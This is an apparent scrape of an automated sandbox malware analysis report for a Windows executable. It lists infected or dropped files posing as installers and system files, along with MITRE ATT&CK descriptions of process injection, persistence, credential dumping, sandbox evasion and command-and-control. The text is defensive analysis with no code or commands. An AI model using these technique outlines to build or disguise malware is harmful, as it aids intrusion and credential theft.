Source: C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Downloads\ChromeSetup.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe	Joe Sandbox ML: detected
Source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\Package Cache\{49697869-be8e-427d-81a0-c334d1d14950}\VC_redist.x86.exe	Joe Sandbox ML: detected
Source: C:\Windows\svchost.com	Joe Sandbox ML: detected
Source: C:\ProgramData\Microsoft\Windows Defender\Scans\MpPayloadData\mpengine.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\Package Cache\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\VC_redist.x64.exe	Joe Sandbox ML: detected
Source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe	Joe Sandbox ML: detected

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report wYWdigdSjn.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ose.exe

C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe

C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe

C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe

C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe

C:\ProgramData\Microsoft\Windows Defender\Scans\MpPayloadData\mpengine.exe

C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe

C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe

C:\ProgramData\Package Cache\{49697869-be8e-427d-81a0-c334d1d14950}\VC_redist.x86.exe

C:\ProgramData\Package Cache\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\vcredist_x64.exe

C:\ProgramData\Package Cache\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\VC_redist.x64.exe

C:\ProgramData\Package Cache\{f65db027-aff3-4070-886a-0d87064aabb1}\vcredist_x86.exe

C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

Windows Analysis Report
wYWdigdSjn.exe

Function 00B0CD24 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 489
COMMON

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre